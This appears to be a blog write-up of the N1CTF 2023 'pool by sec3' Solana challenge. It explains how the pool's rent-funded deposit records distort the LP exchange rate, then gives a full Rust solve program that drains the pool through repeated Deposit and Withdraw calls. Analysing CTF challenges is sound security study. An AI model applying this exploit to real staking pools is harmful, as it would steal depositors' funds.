<-->

 

I decided to cool off my head during the midterm exam period by trying out the blockchain challenge in N1CTF.

 

https://github.com/kangsangsoo/CTF-Writeups/tree/main/N1CTF%202023/pool%20by%20sec3

 

pool by sec3

analysis

I expected a vulnerability by the absence of validation since this code was written in native, not anchor.

but I was surprised to find it solid.

 

This code is just the implementation of a staking pool.

So our accessible strategy is to deposit SOL and then withdraw the token with the aim of receiving more SOL.

 

// Fund the deposit record account
let lamports_required_for_deposit_record = (Rent::get()?).minimum_balance(DepositRecord::LEN);
msg!(format!("lamports_required_for_deposit_record: {}", lamports_required_for_deposit_record).as_str()); // added for debug
**pool_account.lamports.borrow_mut() -= lamports_required_for_deposit_record; 
**deposit_record_account.lamports.borrow_mut() += lamports_required_for_deposit_record;

What's notable is that the program records our data on-chain and that itself covers the rent cost by using pool balance.

 

 

if deposit_record_data.lp_token_amount == 0 {
        // close deposit record account
    **pool_account.lamports.borrow_mut() += deposit_record_account.lamports();
    **deposit_record_account.lamports.borrow_mut() = 0;
    deposit_record_account.realloc(0, true)?;
    deposit_record_account.assign(system_program.key);
}

Also, if the record is no longer needed, the remaining amount is returned to the pool.

 

 

 

impl DepositRecord {
    pub const SEED_PREFIX: &'static str = "RECOOORD";
    pub const LEN: usize = 0x2000; // I'm too lazy to calculate this
}

However, because the struct size is quite large, I could guess a significant cost is incurred. 

I checked the logs from the server and revealed that about 0.05 SOL was paid. 

As this amount is deducted from the pool account, it ultimately impacts the LP:token exchange rate.

 

 

- scenario

1. Create many DepositRecords in order to make pool balance 0.000000001SOL.

2. Deposit all our balance(0.9SOL) to the pool.

3. Remove all DepositRecords made in 1-step.

4. FInally, withdraw our all tokens made in 2-step.

 

 

solve 

added in main.rs

    // added
    writeln!(stream, "m {}", "28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t")?;
    for i in 0..20 {
        let (deposit_record_account_pda, _) = Pubkey::find_program_address(&[chall::state::DepositRecord::SEED_PREFIX.as_bytes(), pool.as_ref(), user.as_ref(), [i].to_vec().as_ref()], &chall_id);
        writeln!(stream, "mw {}", deposit_record_account_pda)?;
    }

 

processor.rs

use borsh::{BorshSerialize, BorshDeserialize};

use solana_program::{
    account_info::{
        next_account_info,
        AccountInfo,
    },
    entrypoint::ProgramResult,
    instruction::{
        AccountMeta,
        Instruction,
    },
    program::invoke,
    pubkey::Pubkey, log,
};

pub fn process_instruction(_program: &Pubkey, accounts: &[AccountInfo], _data: &[u8]) -> ProgramResult {
    let accounts_iter = &mut accounts.iter();
    let admin = next_account_info(accounts_iter)?;
    let user = next_account_info(accounts_iter)?;
    let user_token_account = next_account_info(accounts_iter)?;
    let pool = next_account_info(accounts_iter)?;
    let mint = next_account_info(accounts_iter)?;
    let chall_id = next_account_info(accounts_iter)?;
    let rent = next_account_info(accounts_iter)?;
    let token_program = next_account_info(accounts_iter)?;
    let associated_token_program = next_account_info(accounts_iter)?;
    let system_program = next_account_info(accounts_iter)?;
    let solve_program = next_account_info(accounts_iter)?;

    let mut records  = vec![];

    for i in 0..17 {
        records.push(next_account_info(accounts_iter)?);
    }

    if (**pool.lamports.borrow() > 800_000_000) && (**user.lamports.borrow() > 800_000_000) {
        for i in 0..11 {
            let record_1 = records[i];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&fisrt, 
                &[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);
        }
    }  else if (**pool.lamports.borrow() > 100_000_000) && (**user.lamports.borrow() > 800_000_000) {
         {
            for i in 11..13 {
                let record_1 = records[i];
                let fisrt = Instruction::new_with_bytes(
                    chall_id.key.clone(),
                    &chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
                    vec![
                        AccountMeta::new(pool.key.clone(), false),
                        AccountMeta::new(record_1.key.clone(), false),
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(user_token_account.key.clone(), false),
                        AccountMeta::new(mint.key.clone(), false),
                        AccountMeta::new_readonly(token_program.key.clone(), false),
                        AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                        AccountMeta::new_readonly(system_program.key.clone(), false),
                    ],
                );
            
                invoke(&fisrt, 
                    &[
                        pool.clone(),
                        user.clone(),
                        rent.clone(),
                        record_1.clone(),
                        user_token_account.clone(),
                        mint.clone(),
                        token_program.clone(),
                        system_program.clone(),
                        chall_id.clone(),
                        associated_token_program.clone(),
                ]);
            }
            let record_1 = records[13];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &chall::processor::PoolInstruction::Deposit(34_000_000 - 2_089_587, [13 as u8].to_vec()).try_to_vec().unwrap(), // 9588
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&fisrt, 
                &[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            let record_1 = records[14];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &chall::processor::PoolInstruction::Deposit(100, [14 as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&fisrt, 
                &[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            let record_1 = records[14];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &chall::processor::PoolInstruction::Deposit(950_000_000, [14 as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&fisrt, 
                &[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            for i in 0..6 {
                let record_1 = records[i];
                let amt = chall::state::DepositRecord::try_from_slice(&record_1.data.borrow())?.lp_token_amount;
    
                let fisrt = Instruction::new_with_bytes(
                    chall_id.key.clone(),
                    &chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
                    vec![
                        AccountMeta::new(pool.key.clone(), false),
                        AccountMeta::new(record_1.key.clone(), false),
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(user_token_account.key.clone(), false),
                        AccountMeta::new(mint.key.clone(), false),
                        AccountMeta::new_readonly(token_program.key.clone(), false),
                        AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                        AccountMeta::new_readonly(system_program.key.clone(), false),
                    ],
                );

                invoke(&fisrt, 
                    &[
                        pool.clone(),
                        user.clone(),
                        rent.clone(),
                        record_1.clone(),
                        user_token_account.clone(),
                        mint.clone(),
                        token_program.clone(),
                        system_program.clone(),
                        chall_id.clone(),
                        associated_token_program.clone(),
                ]);
            }
        }


    } else {
        for i in 6..15 {
            let record_1 = records[i];
            let amt = chall::state::DepositRecord::try_from_slice(&record_1.data.borrow())?.lp_token_amount;


            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&fisrt, 
                &[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);
        }
    }

    Ok(())
}

+ Recent posts